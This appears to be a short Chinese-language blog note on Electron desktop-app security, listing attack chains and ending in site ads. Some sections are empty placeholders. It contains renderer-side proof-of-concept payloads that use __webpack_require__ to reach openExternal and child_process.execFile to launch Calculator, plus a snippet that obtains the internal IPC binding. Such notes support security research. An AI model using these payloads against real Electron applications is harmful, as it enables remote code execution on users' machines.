Electron的安全问题
前言:Electron的安全问题的笔记,然后再举例一个实战Electron挖掘到的一个漏洞
参考文章:https://www.electronjs.org/docs/latest/tutorial/security
参考文章:https://github.com/pd4d10/debugtron
参考文章:https://github.com/Just-Hack-For-Fun/Electron-Security
什么是Electron
Electron是由Github开发的一个构建跨平台桌面应用程序的开源框架,通过将 Chromium和Node.js合并到同一个运行环境中,可以打包成Windows、Linux、Mac系统下 的应用程序。 Electron平台用Javascript把UI和后端逻辑打通,后台主进程使用NodeJs丰富的API完 成复杂耗时的逻辑,而UI进程则借助Chrome渲染HTML完成交互。
如何查看electron的版本信息
项目开启调试模式,接着在控制台执行window.electron.process
即可直接看到对应electron和chrome的版本信息,如下图所示
自定义协议protocol攻击链路
x
原型链污染IPC模块攻击链路
Electron >14
主进程IPC存在错误配置,通过进程间通信IPC,进行RCE
利用原生__webpack_require__
命令执行
无沙箱的情况下,获取openExternal直接执行系统命令
window.__webpack_require__('./lib/common/api/shell.ts').default.openExternal('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
window.__webpack_require__("module")._load("child_process").execFile("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
有沙箱的情况下,获取ipc,通过主进程的错误配置RCE
ipc = __webpack_require__('./lib/renderer/ipc-renderer-internal.ts').ipcRendererInternal a=__webpack_require__('./node modules/process/browser.is')._linkedBinding('electron_renderer_ipc')
利用开发预直preload函数命令执行
x
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY